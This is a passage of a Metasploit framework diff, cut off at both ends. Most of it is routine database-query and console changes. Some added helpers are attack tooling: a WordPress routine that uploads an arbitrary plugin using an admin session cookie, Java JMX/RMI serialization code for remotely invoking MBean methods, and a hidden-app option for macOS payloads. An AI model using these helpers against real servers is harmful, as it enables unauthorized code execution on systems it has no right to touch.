wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h| host = {} host[:created_at] = h.created_at.to_i host[:address] = h.address.to_s @@ -226,8 +225,7 @@ def rpc_services( xopts) ret = {} ret[:services] = [] - wspace.services.all(:include => :host, :conditions => conditions, - :limit => limit, :offset => offset).each do |s| + wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s| service = {} host = s.host service[:host] = host.address || "unknown" @@ -258,7 +256,7 @@ def rpc_vulns(xopts) ret = {} ret[:vulns] = [] - wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v| + wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v| vuln = {} reflist = v.refs.map { |r| r.name } if(v.service) @@ -423,7 +421,7 @@ def rpc_get_service(xopts) conditions[:proto] = opts[:proto] if opts[:proto] conditions[:port] = opts[:port] if opts[:port] conditions[:name] = opts[:names] if opts[:names] - sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port") + sret = wspace.services.where(conditions).order("hosts.address, port") else sret = host.services end @@ -564,8 +562,7 @@ def rpc_notes(xopts) ret = {} ret[:notes] = [] - wspace.notes.all(:include => [:host, :service], :conditions => conditions, - :limit => limit, :offset => offset).each do |n| + wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n| note = {} note[:time] = n.created_at.to_i note[:host] = "" @@ -737,7 +734,7 @@ def rpc_del_service(xopts) elsif opts[:addresses] return { :result => 'failed' } if opts[:addresses].class != Array conditions = { :address => opts[:addresses] } - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) return { :result => 'failed' } if hent == nil hosts |= hent if hent.class == Array hosts << hent if hent.class == ::Mdm::Host @@ -749,7 +746,7 @@ def rpc_del_service(xopts) conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = h.services.all(:conditions => conditions) + sret = h.services.where(conditions) next if sret == nil services << sret if sret.class == ::Mdm::Service services |= sret if sret.class == Array @@ -761,7 +758,7 @@ def rpc_del_service(xopts) conditions = {} conditions[:port] = opts[:port] if opts[:port] conditions[:proto] = opts[:proto] if opts[:proto] - sret = wspace.services.all(:conditions => conditions) + sret = wspace.services.where(conditions) services << sret if sret and sret.class == ::Mdm::Service services |= sret if sret and sret.class == Array end @@ -794,7 +791,7 @@ def rpc_del_host(xopts) elsif opts[:addresses] return { :result => 'failed' } if opts[:addresses].class != Array conditions = { :address => opts[:addresses] } - hent = wspace.hosts.all(:conditions => conditions) + hent = wspace.hosts.where(conditions) return { :result => 'failed' } if hent == nil hosts |= hent if hent.class == Array hosts << hent if hent.class == ::Mdm::Host @@ -829,7 +826,7 @@ def rpc_events(xopts) ret = {} ret[:events] = [] - wspace.events.all(:limit => limit, :offset => offset).each do |e| + wspace.events.offset(offset).limit(limit).each do |e| event = {} event[:host] = e.host.address if(e.host) event[:created_at] = e.created_at.to_i @@ -874,7 +871,7 @@ def rpc_loots(xopts) ret = {} ret[:loots] = [] - wspace.loots.all(:limit => limit, :offset => offset).each do |l| + wspace.loots.offset(offset).limit(limit).each do |l| loot = {} loot[:host] = l.host.address if(l.host) loot[:service] = l.service.name || l.service.port if(l.service) @@ -964,8 +961,7 @@ def rpc_clients(xopts) ret = {} ret[:clients] = [] - wspace.clients.all(:include => :host, :conditions => conditions, - :limit => limit, :offset => offset).each do |c| + wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c| client = {} client[:host] = c.host.address.to_s if c.host client[:ua_string] = c.ua_string @@ -999,7 +995,7 @@ def rpc_del_client(xopts) conditions = {} conditions[:ua_name] = opts[:ua_name] if opts[:ua_name] conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver] - cret = h.clients.all(:conditions => conditions) + cret = h.clients.where(conditions) else cret = h.clients end diff --git a/lib/msf/http/wordpress.rb b/lib/msf/http/wordpress.rb index 31c5359213a0..92ac99eacd3f 100644 --- a/lib/msf/http/wordpress.rb +++ b/lib/msf/http/wordpress.rb @@ -4,6 +4,7 @@ module Msf module HTTP module Wordpress + require 'msf/http/wordpress/admin' require 'msf/http/wordpress/base' require 'msf/http/wordpress/helpers' require 'msf/http/wordpress/login' @@ -14,6 +15,7 @@ module Wordpress require 'msf/http/wordpress/xml_rpc' include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress::Admin include Msf::HTTP::Wordpress::Base include Msf::HTTP::Wordpress::Helpers include Msf::HTTP::Wordpress::Login diff --git a/lib/msf/http/wordpress/admin.rb b/lib/msf/http/wordpress/admin.rb new file mode 100644 index 000000000000..961b5c603aef --- /dev/null +++ b/lib/msf/http/wordpress/admin.rb @@ -0,0 +1,43 @@ +# -*- coding: binary -*- + +module Msf::HTTP::Wordpress::Admin + # Uploads a plugin using a valid admin session. + # + # @param name [String] The name of the plugin + # @param zip [String] The plugin zip file as a string + # @param cookie [String] A valid admin session cookie + # @return [Boolean] true on success, false on error + def wordpress_upload_plugin(name, zip, cookie) + nonce = wordpress_helper_get_plugin_upload_nonce(cookie) + if nonce.nil? + vprint_error("#{peer} - Failed to acquire the plugin upload nonce") + return false + end + vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}") + + referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload') + data = Rex::MIME::Message.new + data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"') + data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"') + data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"") + data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"') + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_update, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookie, + 'vars_get' => { 'action' => 'upload-plugin' } + ) + + if res && res.code == 200 + vprint_status("#{peer} - Uploaded plugin #{name}") + return true + else + vprint_error("#{peer} - Server responded with code #{res.code}") if res + vprint_error("#{peer} - Failed to upload plugin #{name}") + return false + end + end +end diff --git a/lib/msf/http/wordpress/helpers.rb b/lib/msf/http/wordpress/helpers.rb index 837688dab022..bb39caa83e99 100644 --- a/lib/msf/http/wordpress/helpers.rb +++ b/lib/msf/http/wordpress/helpers.rb @@ -119,4 +119,21 @@ def wordpress_helper_parse_location_header(res) path_from_uri(location) end + # Helper method to retrieve a valid plugin upload nonce. + # + # @param cookie [String] A valid admin session cookie + # @return [String,nil] The nonce, nil on error + def wordpress_helper_get_plugin_upload_nonce(cookie) + uri = normalize_uri(wordpress_url_backend, 'plugin-install.php') + options = { + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie, + 'vars_get' => { 'tab' => 'upload' } + } + res = send_request_cgi(options) + if res && res.code == 200 + return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1] + end + end end diff --git a/lib/msf/http/wordpress/uris.rb b/lib/msf/http/wordpress/uris.rb index cad39afb5009..19c2cd184a56 100644 --- a/lib/msf/http/wordpress/uris.rb +++ b/lib/msf/http/wordpress/uris.rb @@ -87,6 +87,12 @@ def wordpress_url_admin_post normalize_uri(wordpress_url_backend, 'admin-post.php') end + # Returns the Wordpress Admin Update URL + # + # @return [String] Wordpress Admin Update URL + def wordpress_url_admin_update + normalize_uri(wordpress_url_backend, 'update.php') + end # Returns the Wordpress wp-content dir URL # diff --git a/lib/msf/http/wordpress/version.rb b/lib/msf/http/wordpress/version.rb index eca72a997433..f9b0c131be87 100644 --- a/lib/msf/http/wordpress/version.rb +++ b/lib/msf/http/wordpress/version.rb @@ -92,8 +92,17 @@ def check_version_from_readme(type, name, fixed_version, vuln_introduced_version 'uri' => readme_url, 'method' => 'GET' ) - # no readme.txt present - return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + if res.nil? || res.code != 200 + readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt') + res = send_request_cgi( + 'uri' => readme_url, + 'method' => 'GET' + ) + + # no Readme.txt present + return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + end # try to extract version from readme # Example line: diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb new file mode 100644 index 000000000000..0c796daf2d8c --- /dev/null +++ b/lib/msf/java/jmx.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Jmx + require 'msf/java/jmx/util' + require 'msf/java/jmx/discovery' + require 'msf/java/jmx/handshake' + require 'msf/java/jmx/mbean' + + include Msf::Java::Jmx::Util + include Msf::Java::Jmx::Discovery + include Msf::Java::Jmx::Handshake + include Msf::Java::Jmx::Mbean + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) + ], HTTP::Wordpress + ) + end + + def jmx_role + datastore['JMX_ROLE'] + end + + def jmx_password + datastore['JMX_PASSWORD'] + end + + end + end +end diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb new file mode 100644 index 000000000000..d956a9fdaf5e --- /dev/null +++ b/lib/msf/java/jmx/discovery.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle JMX end points discovery + module Discovery + # Builds a Rex::Java::Serialization::Model::Stream to discover + # an JMX RMI endpoint + # + # @return [Rex::Java::Serialization::Model::Stream] + def discovery_stream + obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still + + block_data = Rex::Java::Serialization::Model::BlockData.new( + nil, + "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + + stream + end + end + end + end +end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb new file mode 100644 index 000000000000..36453849b233 --- /dev/null +++ b/lib/msf/java/jmx/handshake.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle a JMX handshake + module Handshake + + # Builds a Rex::Java::Serialization::Model::Stream to make + # a JMX handshake with an endpoint + # + # @param id [String] The endpoint UnicastRef ObjId + # @return [Rex::Java::Serialization::Model::Stream] + def handshake_stream(obj_id) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + + if jmx_role + username = jmx_role + password = jmx_password || '' + + stream.contents << auth_array_stream(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end + + stream + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] + def auth_array_stream(username, password) + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + auth_array + end + end + end + end +end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb new file mode 100644 index 000000000000..0956316b3279 --- /dev/null +++ b/lib/msf/java/jmx/mbean.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + require 'msf/java/jmx/mbean/server_connection' + + include Msf::Java::Jmx::Mbean::ServerConnection + end + end + end +end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb new file mode 100644 index 000000000000..33622546f961 --- /dev/null +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -0,0 +1,155 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + # This module provides methods which help to handle with MBean related calls. + # Specially, simulating calls with the Java javax.management.MBeanServerConnection + # class + module ServerConnection + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the createMBean method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def create_mbean_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the + # Java getObjectInstance method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def get_object_instance_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the Java invoke method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :object the object whose method we want to call + # @option opts [String] :method the method name to invoke + # @option opts [String] :args the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + arguments = opts[:args] || {} + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: invoke_arguments_stream(arguments).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + stream.contents << marshall_object + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke method method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_arguments_stream(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + end + end + end + end +end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb new file mode 100644 index 000000000000..6bac21c0a1aa --- /dev/null +++ b/lib/msf/java/jmx/util.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle data + # used by Java JMX + module Util + + # Extracts a Rex::Java::Serialization::Model::NewObject from + # a Rex::Java::Serialization::Model::Stream + # + # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from + # @param id [Fixnum] the content position storing the object + # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise + def extract_object(stream, id) + new_object = nil + + if stream.contents[id] + new_object = stream.contents[id] + else + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + return nil + end + + new_object.class_desc.description.class_name.contents + end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + + # Extracts an UnicastRef (endpoint) information from an IO + # + # @param io [IO] the io to extract the int from + # @return [Hash, nil] the extracted int if success, nil otherwise + def extract_unicast_ref(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + id = io.read + + { address: address, port: port, id: id } + end + + end + end + end +end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb new file mode 100644 index 000000000000..7b522a1ff1c7 --- /dev/null +++ b/lib/msf/java/rmi/client.rb @@ -0,0 +1,138 @@ +# -*- coding: binary -*- +require 'rex/proto/rmi' +require 'rex/java/serialization' +require 'stringio' + +module Msf + module Java + module Rmi + module Client + + require 'msf/java/rmi/client/streams' + + include Msf::Java::Rmi::Client::Streams + include Exploit::Remote::Tcp + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Sends a RMI header stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + end + + # Sends a RMI CALL stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call + def send_call(opts = {}) + nsock = opts[:sock] || sock + stream = build_call(opts) + nsock.put(stream.encode) + end + + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Java::Serialization::Stream] + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [String] + def safe_get_once(nsock = sock) + data = '' + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + + until res.nil? || res.length < 1448 + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb new file mode 100644 index 000000000000..215e4b0a8ef9 --- /dev/null +++ b/lib/msf/java/rmi/client/streams.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Rmi + module Client + module Streams + + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => <String, Fixnum>}] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => <Fixnum, Rex::Java::Serialization::Model::Stream>}] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => <Fixnum, String>}] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + end + end + end + end +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 69d5cd0be484..f58a2e909eea 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -107,47 +107,48 @@ class Core # Returns the list of commands supported by this command dispatcher def commands { - "?" => "Help menu", - "back" => "Move back from the current context", - "banner" => "Display an awesome metasploit banner", - "cd" => "Change the current working directory", - "connect" => "Communicate with a host", - "color" => "Toggle color", - "exit" => "Exit the console", - "edit" => "Edit the current module with $VISUAL or $EDITOR", - "get" => "Gets the value of a context-specific variable", - "getg" => "Gets the value of a global variable", - "go_pro" => "Launch Metasploit web GUI", - "grep" => "Grep the output of another command", - "help" => "Help menu", - "info" => "Displays information about one or more module", - "irb" => "Drop into irb scripting mode", - "jobs" => "Displays and manages jobs", - "kill" => "Kill a job", - "load" => "Load a framework plugin", - "loadpath" => "Searches for and loads modules from a path", - "popm" => "Pops the latest module off the stack and makes it active", - "pushm" => "Pushes the active or list of modules onto the module stack", - "previous" => "Sets the previously loaded module as the current module", - "quit" => "Exit the console", - "resource" => "Run the commands stored in a file", - "makerc" => "Save commands entered since start to a file", + "?" => "Help menu", + "back" => "Move back from the current context", + "banner" => "Display an awesome metasploit banner", + "cd" => "Change the current working directory", + "connect" => "Communicate with a host", + "color" => "Toggle color", + "exit" => "Exit the console", + "edit" => "Edit the current module with $VISUAL or $EDITOR", + "get" => "Gets the value of a context-specific variable", + "getg" => "Gets the value of a global variable", + "go_pro" => "Launch Metasploit web GUI", + "grep" => "Grep the output of another command", + "help" => "Help menu", + "info" => "Displays information about one or more module", + "irb" => "Drop into irb scripting mode", + "jobs" => "Displays and manages jobs", + "rename_job" => "Rename a job", + "kill" => "Kill a job", + "load" => "Load a framework plugin", + "loadpath" => "Searches for and loads modules from a path", + "popm" => "Pops the latest module off the stack and makes it active", + "pushm" => "Pushes the active or list of modules onto the module stack", + "previous" => "Sets the previously loaded module as the current module", + "quit" => "Exit the console", + "resource" => "Run the commands stored in a file", + "makerc" => "Save commands entered since start to a file", "reload_all" => "Reloads all modules from all defined module paths", - "route" => "Route traffic through a session", - "save" => "Saves the active datastores", - "search" => "Searches module names and descriptions", - "sessions" => "Dump session listings and display information about sessions", - "set" => "Sets a context-specific variable to a value", - "setg" => "Sets a global variable to a value", - "show" => "Displays modules of a given type, or all modules", - "sleep" => "Do nothing for the specified number of seconds", - "threads" => "View and manipulate background threads", - "unload" => "Unload a framework plugin", - "unset" => "Unsets one or more context-specific variables", - "unsetg" => "Unsets one or more global variables", - "use" => "Selects a module by name", - "version" => "Show the framework and console library version numbers", - "spool" => "Write console output into a file as well the screen" + "route" => "Route traffic through a session", + "save" => "Saves the active datastores", + "search" => "Searches module names and descriptions", + "sessions" => "Dump session listings and display information about sessions", + "set" => "Sets a context-specific variable to a value", + "setg" => "Sets a global variable to a value", + "show" => "Displays modules of a given type, or all modules", + "sleep" => "Do nothing for the specified number of seconds", + "threads" => "View and manipulate background threads", + "unload" => "Unload a framework plugin", + "unset" => "Unsets one or more context-specific variables", + "unsetg" => "Unsets one or more global variables", + "use" => "Selects a module by name", + "version" => "Show the framework and console library version numbers", + "spool" => "Write console output into a file as well the screen" } end @@ -780,6 +781,50 @@ def cmd_irb(*args) end end + def cmd_rename_job_help + print_line "Usage: rename_job [ID] [Name]" + print_line + print_line "Example: rename_job 0 \"meterpreter HTTPS special\"" + print_line + print_line "Rename a job that's currently active." + print_line "You may use the jobs command to see what jobs are available." + print_line + end + + def cmd_rename_job(*args) + if args.include?('-h') || args.length != 2 || args[0] !~ /^\d+$/ + cmd_rename_job_help + return false + end + + job_id = args[0].to_s + job_name = args[1].to_s + + unless framework.jobs[job_id] + print_error("Job #{job_id} does not exist.") + return false + end + + # This is not respecting the Protected access control, but this seems to be the only way + # to rename a job. If you know a more appropriate way, patches accepted. + framework.jobs[job_id].send(:name=, job_name) + print_status("Job #{job_id} updated") + + true + end + + # + # Tab completion for the rename_job command + # + # @param str [String] the string currently being typed before tab was hit + # @param words [Array<String>] the previously completed words on the command line. words is always + # at least 1 when tab completion has reached this stage since the command itself has been completed + + def cmd_rename_job_tabs(str, words) + return [] if words.length > 1 + framework.jobs.keys + end + def cmd_jobs_help print_line "Usage: jobs [options]" print_line diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index a571a1d56681..0f2453ca17c7 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -674,6 +674,7 @@ def cmd_creds_help print_line "General options" print_line " -h,--help Show this help information" print_line " -o <file> Send output to a file in csv format" + print_line " -d Delete one or more credentials" print_line print_line "Filter options for listing" print_line " -P,--password <regex> List passwords that match this regex" @@ -701,6 +702,11 @@ def cmd_creds_help print_line " # Add a user with an SSH key" print_line " creds add-ssh-key root /root/.ssh/id_rsa" print_line + + print_line "Example, deleting:" + print_line " # Delete all SMB credentials" + print_line " creds -d -s smb" + print_line end # @param private_type [Symbol] See `Metasploit::Credential::Creation#create_credential` diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index a999874e2a2f..729f3232ddfe 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -725,7 +725,7 @@ def choose_readline(opts) if opts['RealReadline'] # Remove the gem version from load path to be sure we're getting the # stdlib readline. - gem_dir = Gem::Specification.find_all_by_name('rb-readline').first.gem_dir + gem_dir = Gem::Specification.find_all_by_name('rb-readline-r7').first.gem_dir rb_readline_path = File.join(gem_dir, "lib") index = $LOAD_PATH.index(rb_readline_path) # Bundler guarantees that the gem will be there, so it should be safe to diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ed01ea0334a1..6256fb7d2b97 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -734,16 +734,27 @@ def self.to_osx_x64_macho(framework, code, opts = {}) # @param [Hash] opts the options hash # @option opts [String] :exe_name (random) the name of the macho exe file (never seen by the user) # @option opts [String] :app_name (random) the name of the OSX app + # @option opts [String] :hidden (true) hide the app when it is running # @option opts [String] 